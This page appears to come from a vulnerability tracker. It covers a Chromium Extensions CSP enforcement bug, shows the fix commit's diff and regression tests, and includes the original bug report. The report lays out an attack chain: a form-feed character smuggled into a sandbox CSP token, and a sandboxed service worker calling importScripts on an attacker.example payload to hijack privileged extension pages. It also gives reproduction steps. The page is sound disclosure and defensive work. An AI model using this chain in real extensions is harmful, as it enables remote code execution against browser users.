Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in Extensions
DescriptionInsufficient policy enforcement in Extensions
ComponentExtensions
Bug ClassLogic Error
Tracker499033012
Fix commita0b84513de55 (chromium/src) +160/-12
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-02

Changed Functions

FunctionChangeNotes
TEST_F
extensions/common/manifest_handlers/csp_info_unittest.cc
modified

Files Changed

  • chrome/browser/extensions/content_security_policy_apitest.cc
  • chrome/renderer/chrome_content_renderer_client.cc
  • extensions/common/csp_validator_unittest.cc
  • extensions/common/manifest_handlers/csp_info.cc
  • extensions/common/manifest_handlers/csp_info.h
  • extensions/common/manifest_handlers/csp_info_unittest.cc
From a0b84513de55d6ab3c4f37979fb73a5162f8b9bf Mon Sep 17 00:00:00 2001
From: Mike West <mkwst@chromium.org>
Date: Fri, 10 Apr 2026 03:55:47 -0700
Subject: [PATCH] [Extensions] Harden CSP enforcement for sandboxed service workers.

The interaction between `sandbox.pages` and an extension's service
worker created the potential for a weaker-than-expected CSP to be
applied in the service worker's context. This change enforces the
minimum CSP for the service worker regardless of its presence in the
list of sandboxed pages.

Bug: 499033012
Change-Id: I7c456524a8f677f4748f379747892dbb0dca5646
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7735708
Reviewed-by: Finnur Thorarinsson <finnur@chromium.org>
Commit-Queue: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1612747}
---

diff --git a/chrome/browser/extensions/content_security_policy_apitest.cc b/chrome/browser/extensions/content_security_policy_apitest.cc
index ac7afac9..6952b31 100644
--- a/chrome/browser/extensions/content_security_policy_apitest.cc
+++ b/chrome/browser/extensions/content_security_policy_apitest.cc
@@ -251,4 +251,39 @@
       << message_;
 }
 
+// Verifies that a service worker that is listed in sandbox.pages is still
+// subject to the strict MV3 CSP.
+IN_PROC_BROWSER_TEST_F(ExtensionCspApiTest,
+                       ServiceWorkerIsConstrainedByMV3CSPEvenIfSandboxed) {
+  static constexpr char kManifest[] =
+      R"({
+           "name": "Sandboxed Service Worker",
+           "manifest_version": 3,
+           "version": "0.1",
+           "background": {"service_worker": "sw.js"},
+           "content_security_policy": {
+             "sandbox": "sandbox allow-scripts; script-src 'self' 'unsafe-eval';"
+           },
+           "sandbox": { "pages": ["sw.js"] }
+         })";
+  // The service worker attempts to use eval(), which is allowed by the
+  // sandbox CSP but disallowed by the strict MV3 extension CSP.
+  static constexpr char kServiceWorkerJs[] =
+      R"(chrome.test.runTests([
+           function testEvalIsDisallowed() {
+             try {
+               eval('1 + 1');
+               chrome.test.fail('eval() should have been disallowed by CSP.');
+             } catch (e) {
+               chrome.test.succeed();
+             }
+           }]);)";
+
+  TestExtensionDir test_dir;
+  test_dir.WriteManifest(kManifest);
+  test_dir.WriteFile(FILE_PATH_LITERAL("sw.js"), kServiceWorkerJs);
+
+  ASSERT_TRUE(RunExtensionTest(test_dir.UnpackedPath(), {}, {})) << message_;
+}
+
 }  // namespace extensions
diff --git a/chrome/renderer/chrome_content_renderer_client.cc b/chrome/renderer/chrome_content_renderer_client.cc
index bc413ac..fcdc6a9 100644
--- a/chrome/renderer/chrome_content_renderer_client.cc
+++ b/chrome/renderer/chrome_content_renderer_client.cc
@@ -136,6 +136,7 @@
 #include "content/public/common/webplugininfo.h"
 #include "content/public/renderer/render_frame.h"
 #include "content/public/renderer/render_frame_visitor.h"
+#include "content/public/renderer/worker_thread.h"
 #include "extensions/buildflags/buildflags.h"
 #include "extensions/renderer/extensions_renderer_api_provider.h"
 #include "media/base/media_switches.h"
@@ -1623,8 +1624,9 @@
 
   // Append a minimum CSP to ensure the extension can't relax the default
   // applied CSP through means like Service Worker.
-  const std::string* default_csp =
-      extensions::CSPInfo::GetMinimumCSPToAppend(*extension, gurl.GetPath());
+  const std::string* default_csp = extensions::CSPInfo::GetMinimumCSPToAppend(
+      *extension, gurl.GetPath(),
+      /*is_service_worker=*/content::WorkerThread::GetCurrentId() != 0);
   if (!default_csp)
     return;
 
diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc
index 15c3499..5323bf57 100644
--- a/extensions/common/csp_validator_unittest.cc
+++ b/extensions/common/csp_validator_unittest.cc
@@ -464,6 +464,12 @@
   // ... even if obscured.
   EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\fa",
                                                 Manifest::Type::kExtension));
+  EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin",
+                                                Manifest::Type::kExtension));
+  EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\f",
+                                                Manifest::Type::kExtension));
+  EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin\f",
+                                                Manifest::Type::kExtension));
 
   // Additional directives are OK.
   EXPECT_TRUE(ContentSecurityPolicyIsSandboxed(
diff --git a/extensions/common/manifest_handlers/csp_info.cc b/extensions/common/manifest_handlers/csp_info.cc
index dc2a682..ddef73f0 100644
--- a/extensions/common/manifest_handlers/csp_info.cc
+++ b/extensions/common/manifest_handlers/csp_info.cc
@@ -179,7 +179,8 @@
 // static
 const std::string* CSPInfo::GetMinimumCSPToAppend(
     const Extension& extension,
-    const std::string& relative_path) {
+    const std::string& relative_path,
+    bool is_service_worker) {
   if (!extension.is_extension()) {
     return nullptr;
   }
@@ -187,7 +188,10 @@
   // For sandboxed pages and manifest V2 extensions, append the parsed CSP. This
   // helps ensure that extension's can't get around our parsing rules by CSP
   // modifications through, say service workers.
-  if (SandboxedPageInfo::IsSandboxedPage(&extension, relative_path)) {
+  // We ignore the sandboxed page CSP for service workers, since they should
+  // always be subject to the stricter extension CSP.
+  if (!is_service_worker &&
+      SandboxedPageInfo::IsSandboxedPage(&extension, relative_path)) {
     return &GetSandboxContentSecurityPolicy(&extension);
   }
 
diff --git a/extensions/common/manifest_handlers/csp_info.h b/extensions/common/manifest_handlers/csp_info.h
index 4fd504b..3fcb15d 100644
--- a/extensions/common/manifest_handlers/csp_info.h
+++ b/extensions/common/manifest_handlers/csp_info.h
@@ -38,10 +38,12 @@
   static const std::string& GetExtensionPagesCSP(const Extension* extension);
 
   // Returns the minimum CSP (if any) to append for the `extension`'s resource
-  // at the given `relative_path`.
+  // at the given `relative_path`. `is_service_worker` should be true if the
+  // resource is being loaded as a service worker.
   static const std::string* GetMinimumCSPToAppend(
       const Extension& extension,
-      const std::string& relative_path);
+      const std::string& relative_path,
+      bool is_service_worker);
 
   // Returns the Content Security Policy to be used for extension isolated
   // worlds or nullopt if there is no defined CSP.
diff --git a/extensions/common/manifest_handlers/csp_info_unittest.cc b/extensions/common/manifest_handlers/csp_info_unittest.cc
index cf9330be..0328254 100644
--- a/extensions/common/manifest_handlers/csp_info_unittest.cc
+++ b/extensions/common/manifest_handlers/csp_info_unittest.cc
@@ -14,6 +14,7 @@
 #include "extensions/common/extension_features.h"
 #include "extensions/common/features/feature_channel.h"
 #include "extensions/common/manifest_constants.h"
+#include "extensions/common/manifest_handlers/sandboxed_page_info.h"
 #include "extensions/common/manifest_test.h"
 
 namespace extensions {
@@ -389,9 +390,9 @@
     EXPECT_EQ(kDefaultSecureCSP,
               CSPInfo::GetExtensionPagesCSP(extension.get()));
 
-    EXPECT_EQ(
-        CSPHandler::GetMinimumMV3CSPForTesting(),
-        *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html"));
+    EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+              *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html",
+                                              /*is_service_worker=*/false));
   }
 
   // Repeat the test, loading the extensions as unpacked extensions.
@@ -417,9 +418,9 @@
     EXPECT_EQ(kDefaultSecureCSP,
               CSPInfo::GetExtensionPagesCSP(extension.get()));
 
-    EXPECT_EQ(
-        CSPHandler::GetMinimumUnpackedMV3CSPForTesting(),
-        *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html"));
+    EXPECT_EQ(CSPHandler::GetMinimumUnpackedMV3CSPForTesting(),
+              *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html",
+                                              /*is_service_worker=*/false));
   }
 }
 
@@ -429,4 +430,77 @@
                      GetInvalidManifestKeyError(keys::kContentSecurityPolicy));
 }
 
+// Ensure that service workers ignore the sandbox.pages CSP and instead use the
+// stricter extension CSP.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnored) {
+  scoped_refptr<Extension> extension =
+      LoadAndExpectSuccess("sandboxed_pages_valid_1.json");
+  ASSERT_TRUE(extension);
+
+  static constexpr char kSandboxedPath[] = "/test";
+  ASSERT_TRUE(
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/extensions/content_security_policy_apitest.cc b/chrome/browser/extensions/content_security_policy_apitest.cc
index ac7afac9..6952b31 100644
--- a/chrome/browser/extensions/content_security_policy_apitest.cc
+++ b/chrome/browser/extensions/content_security_policy_apitest.cc
@@ -251,4 +251,39 @@
       << message_;
 }
 
+// Verifies that a service worker that is listed in sandbox.pages is still
+// subject to the strict MV3 CSP.
+IN_PROC_BROWSER_TEST_F(ExtensionCspApiTest,
+                       ServiceWorkerIsConstrainedByMV3CSPEvenIfSandboxed) {
+  static constexpr char kManifest[] =
+      R"({
+           "name": "Sandboxed Service Worker",
+           "manifest_version": 3,
+           "version": "0.1",
+           "background": {"service_worker": "sw.js"},
+           "content_security_policy": {
+             "sandbox": "sandbox allow-scripts; script-src 'self' 'unsafe-eval';"
+           },
+           "sandbox": { "pages": ["sw.js"] }
+         })";
+  // The service worker attempts to use eval(), which is allowed by the
+  // sandbox CSP but disallowed by the strict MV3 extension CSP.
+  static constexpr char kServiceWorkerJs[] =
+      R"(chrome.test.runTests([
+           function testEvalIsDisallowed() {
+             try {
+               eval('1 + 1');
+               chrome.test.fail('eval() should have been disallowed by CSP.');
+             } catch (e) {
+               chrome.test.succeed();
+             }
+           }]);)";
+
+  TestExtensionDir test_dir;
+  test_dir.WriteManifest(kManifest);
+  test_dir.WriteFile(FILE_PATH_LITERAL("sw.js"), kServiceWorkerJs);
+
+  ASSERT_TRUE(RunExtensionTest(test_dir.UnpackedPath(), {}, {})) << message_;
+}
+
 }  // namespace extensions
diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc
index 15c3499..5323bf57 100644
--- a/extensions/common/csp_validator_unittest.cc
+++ b/extensions/common/csp_validator_unittest.cc
@@ -464,6 +464,12 @@
   // ... even if obscured.
   EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\fa",
                                                 Manifest::Type::kExtension));
+  EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin",
+                                                Manifest::Type::kExtension));
+  EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\f",
+                                                Manifest::Type::kExtension));
+  EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin\f",
+                                                Manifest::Type::kExtension));
 
   // Additional directives are OK.
   EXPECT_TRUE(ContentSecurityPolicyIsSandboxed(
diff --git a/extensions/common/manifest_handlers/csp_info_unittest.cc b/extensions/common/manifest_handlers/csp_info_unittest.cc
index cf9330be..0328254 100644
--- a/extensions/common/manifest_handlers/csp_info_unittest.cc
+++ b/extensions/common/manifest_handlers/csp_info_unittest.cc
@@ -14,6 +14,7 @@
 #include "extensions/common/extension_features.h"
 #include "extensions/common/features/feature_channel.h"
 #include "extensions/common/manifest_constants.h"
+#include "extensions/common/manifest_handlers/sandboxed_page_info.h"
 #include "extensions/common/manifest_test.h"
 
 namespace extensions {
@@ -389,9 +390,9 @@
     EXPECT_EQ(kDefaultSecureCSP,
               CSPInfo::GetExtensionPagesCSP(extension.get()));
 
-    EXPECT_EQ(
-        CSPHandler::GetMinimumMV3CSPForTesting(),
-        *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html"));
+    EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+              *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html",
+                                              /*is_service_worker=*/false));
   }
 
   // Repeat the test, loading the extensions as unpacked extensions.
@@ -417,9 +418,9 @@
     EXPECT_EQ(kDefaultSecureCSP,
               CSPInfo::GetExtensionPagesCSP(extension.get()));
 
-    EXPECT_EQ(
-        CSPHandler::GetMinimumUnpackedMV3CSPForTesting(),
-        *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html"));
+    EXPECT_EQ(CSPHandler::GetMinimumUnpackedMV3CSPForTesting(),
+              *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html",
+                                              /*is_service_worker=*/false));
   }
 }
 
@@ -429,4 +430,77 @@
                      GetInvalidManifestKeyError(keys::kContentSecurityPolicy));
 }
 
+// Ensure that service workers ignore the sandbox.pages CSP and instead use the
+// stricter extension CSP.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnored) {
+  scoped_refptr<Extension> extension =
+      LoadAndExpectSuccess("sandboxed_pages_valid_1.json");
+  ASSERT_TRUE(extension);
+
+  static constexpr char kSandboxedPath[] = "/test";
+  ASSERT_TRUE(
+      SandboxedPageInfo::IsSandboxedPage(extension.get(), kSandboxedPath));
+
+  // If not a service worker, the sandboxed page CSP should be returned.
+  EXPECT_EQ(kDefaultSandboxedPageCSP,
+            *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+                                            /*is_service_worker=*/false));
+
+  // If a service worker, the extension pages CSP should be returned (even if
+  // the path is sandboxed). For MV2, this is the default extension pages CSP.
+  EXPECT_EQ(kDefaultExtensionPagesCSP,
+            *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+                                            /*is_service_worker=*/true));
+}
+
+// Ensure that MV3 service workers ignore the sandbox.pages CSP even if they are
+// explicitly listed there.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnoredMV3) {
+  scoped_refptr<Extension> extension =
+      LoadAndExpectSuccess("sandboxed_sw_mv3.json");
+  ASSERT_TRUE(extension);
+
+  static constexpr char kSandboxedPath[] = "/sw.js";
+  ASSERT_TRUE(
+      SandboxedPageInfo::IsSandboxedPage(extension.get(), kSandboxedPath));
+
+  // If not a service worker, the sandboxed page CSP should be returned.
+  EXPECT_EQ(kDefaultSandboxedPageCSP,
+            *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+                                            /*is_service_worker=*/false));
+
+  // If a service worker, the extension pages CSP should be returned (even if
+  // the path is sandboxed).
+  EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+            *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+                                            /*is_service_worker=*/true));
+}
+
+// Ensure that even with a custom sandbox CSP (which may be insecure), the
+// service worker still gets the strict MV3 CSP.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnoredWithCustomCSP) {
+  scoped_refptr<Extension> extension =
+      LoadAndExpectSuccess("sandboxed_sw_mv3_with_csp.json");
+  ASSERT_TRUE(extension);
+
+  static constexpr char kSandboxedPath[] = "/sw.js";
+  ASSERT_TRUE(
+      SandboxedPageInfo::IsSandboxedPage(extension.get(), kSandboxedPath));
+
+  // If not a service worker, the sandboxed page CSP should be returned.
+  // Note: kDefaultSandboxedPageCSP is not used here because we provided a
+  // custom one.
+  const std::string& custom_sandbox_csp =
+      CSPInfo::GetSandboxContentSecurityPolicy(extension.get());
+  EXPECT_EQ(custom_sandbox_csp,
+            *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+                                            /*is_service_worker=*/false));
+
+  // If a service worker, the extension pages CSP should be returned (even if
+  // the path is sandboxed).
+  EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+            *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+                                            /*is_service_worker=*/true));
+}
+
 }  // namespace extensions
diff --git a/extensions/test/data/manifest_tests/sandboxed_sw_mv3.json b/extensions/test/data/manifest_tests/sandboxed_sw_mv3.json
new file mode 100644
index 0000000..bab1dc1
--- /dev/null
+++ b/extensions/test/data/manifest_tests/sandboxed_sw_mv3.json
@@ -0,0 +1,11 @@
+{
+  "name": "Sandboxed Service Worker MV3",
+  "version": "0.1",
+  "manifest_version": 3,
+  "background": {
+    "service_worker": "sw.js"
+  },
+  "sandbox": {
+    "pages": ["sw.js"]
+  }
+}
diff --git a/extensions/test/data/manifest_tests/sandboxed_sw_mv3_with_csp.json b/extensions/test/data/manifest_tests/sandboxed_sw_mv3_with_csp.json
new file mode 100644
index 0000000..f5579c9
--- /dev/null
+++ b/extensions/test/data/manifest_tests/sandboxed_sw_mv3_with_csp.json
@@ -0,0 +1,14 @@
+{
+  "name": "Sandboxed Service Worker MV3 with CSP",
+  "version": "0.1",
+  "manifest_version": 3,
+  "background": {
+    "service_worker": "sw.js"
+  },
+  "content_security_policy": {
+    "sandbox": "sandbox allow-scripts; script-src 'self' https://example.com; child-src 'self';"
+  },
+  "sandbox": {
+    "pages": ["sw.js"]
+  }
+}
Loading diff…

Original Bug Report

reported by vm...@google.com

MV3 RCE via CSP Parser Differential and SW Sandbox Confusion

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: A parser differential between the extension manifest validator and Blink allows sandboxed pages to retain the extension origin using the form-feed character. By registering a Service Worker listed in sandbox.pages, the worker inherits a relaxed sandbox CSP instead of the strict MV3 default. This allows the Service Worker to fetch remote code and intercept privileged extension pages, potentially bypassing MV3 remote code restrictions.

Affected files:

  • extensions/common/manifest_handlers/csp_info.cc
  • extensions/common/csp_validator.cc
  • extensions/common/manifest_handlers/sandboxed_page_info.cc

Estimated timestamp from git blame: 2025-03-06

Vulnerability Conclusion: A malicious Manifest V3 extension can potentially achieve arbitrary remote code execution within a privileged extension context by chaining a CSP whitespace parsing differential with a Service Worker sandbox path confusion bug.

Technical Context & Analysis: Initial logic and parameters are validated across two core components: the extension CSP validator and the Service Worker registration pipeline.

  1. CSP Parser Differential: In extensions/common/csp_validator.cc, kWhitespaceDelimiters is defined as " \t\r\n", omitting the form-feed character (\f / 0x0C). Conversely, Blink’s network CSP parser (services/network/public/cpp/web_sandbox_flags.cc) correctly uses " \n\t\r\f". An attacker can supply a sandbox CSP token like allow-same-origin\fx. The manifest validator fails to recognize this as allow-same-origin and permits installation. Blink parses it correctly, allowing a sandboxed page (e.g., sandbox.html) to avoid opaquification and retain the highly-privileged chrome-extension://[id]/ origin.
  2. Service Worker Sandbox Confusion: extensions::CSPInfo::GetMinimumCSPToAppend dictates the minimum secure CSP for extension resources. If a requested path is listed in the manifest’s sandbox.pages, it returns the user-controlled sandbox CSP instead of the strict MV3 baseline. In MV3, sandbox CSPs are explicitly allowed to contain remote sources.

The Transformation Leap: Because sandbox.html retains the extension’s origin, it is permitted to register a Service Worker at the root scope (/sw.js). By including sw.js in sandbox.pages, the Service Worker boots with the attacker’s remote-enabled sandbox CSP. The worker directly executes importScripts('https://attacker.example/payload.js'). This active Service Worker then intercepts fetches for standard extension pages (like popup.html), serving the remote payload directly into a mojom::ContextType::kPrivilegedExtension context, completely bypassing MV3 guarantees.

Potential Reproduction Steps: (Note: These are suggested/potential steps to trigger the vulnerability; our tooling agent does not currently have the ability to run code to provide a functional PoC).

  1. Create an MV3 extension with the following in manifest.json:
    • "sandbox": {"pages": ["sandbox.html", "sw.js"]}
    • A custom CSP: sandbox allow-scripts allow-same-origin\fx; script-src 'self' 'unsafe-inline' https://attacker.example;
  2. Open sandbox.html, which will execute navigator.serviceWorker.register('/sw.js').
  3. Inside sw.js, execute importScripts('https://attacker.example/payload.js') to fetch the remote payload.
  4. The remote payload registers a fetch event listener to intercept requests for popup.html and respond with malicious HTML/JS.
  5. Open popup.html. The injected code will execute with full access to chrome.* APIs.

Suggested Fix:

  1. Patch the Parser Differential: Update kWhitespaceDelimiters in extensions/common/csp_validator.cc to include the form-feed character (\f), aligning it with kHtmlWhitespace and the W3C spec.
  2. Enforce SW CSP: Modify extensions::CSPInfo::GetMinimumCSPToAppend and ChromeContentRendererClient::AppendContentSecurityPolicy to strictly enforce the minimum MV3 CSP for any script instantiated as a Service Worker, explicitly ignoring sandbox.pages inclusions for worker contexts.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker